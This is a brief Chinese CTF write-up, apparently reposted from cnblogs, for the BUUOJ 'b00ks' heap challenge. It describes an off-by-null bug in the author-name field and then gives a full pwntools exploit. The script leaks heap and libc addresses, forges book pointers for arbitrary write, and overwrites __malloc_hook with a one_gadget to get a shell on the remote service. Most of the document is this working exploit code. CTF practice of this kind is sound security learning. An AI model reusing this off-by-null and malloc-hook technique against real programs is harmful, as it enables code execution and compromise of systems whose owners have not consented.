标签:b00ks off name libc content add sendlineafter null p64
题目的例行检查我就不放了,将程序放入ida中
程序的输入这里有一个a1=0存在off by null
再进入add页面查看
可以看到程序申请了一个0x20大小的chunk保存着当前2chunk的地址指针和index的信息
所以我们可以通过仿造或者修改指针去达到任意申请和任意写的方式
首先我们需要填满author_name使得可以泄露出chunk的地址甚至基地址
完整exp如下
from pwn import * #p = process('./b00ks') p = remote('node4.buuoj.cn',26785) elf = ELF('./b00ks') libc = ELF('./libc-2.23.so') def launch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(namesize,name,desize,content): p.sendlineafter('> ','1') p.sendlineafter('size:',str(namesize)) p.sendlineafter('chars): ',name) p.sendlineafter(': ',str(desize)) p.sendlineafter(': ',content) def edit(index,content): p.sendlineafter('> ','3') p.sendlineafter('edit: ',str(index)) p.sendlineafter('description: ',content) def show(): p.sendlineafter('> ','4') def free(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index)) def name(content): p.sendlineafter('> ','5') p.sendlineafter('name: ',content) #launch_gdb() p.sendlineafter('name: ','a'*0x20) add(0xd0,'aaaa',0x20,'bbbb') show() p.recvuntil('a'*32) heap_addr = u64(p.recv(6).ljust(8,b'\x00')) print('heap_addr--->'+hex(heap_addr)) add(0x80,'aaaa',0x60,'aaaa') add(0x10,'cccc',0x10,'aaaa') free(2) edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)) name('a'*0x20) show() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78 print('libc_base--->>'+hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook'] relloc = libc_base + libc.sym['realloc'] one = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget = libc_base+one[1] edit(1,p64(malloc_hook-0x23)) add(0x60,'aaaa',0x60,b'a'*(0x13-0x08)+p64(one_gadget)+p64(relloc+14)) p.interactive()
这种题目还是建议亲手去调试一下理解的更快
结束!
标签:b00ks,off,name,libc,content,add,sendlineafter,null,p64 来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15818637.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。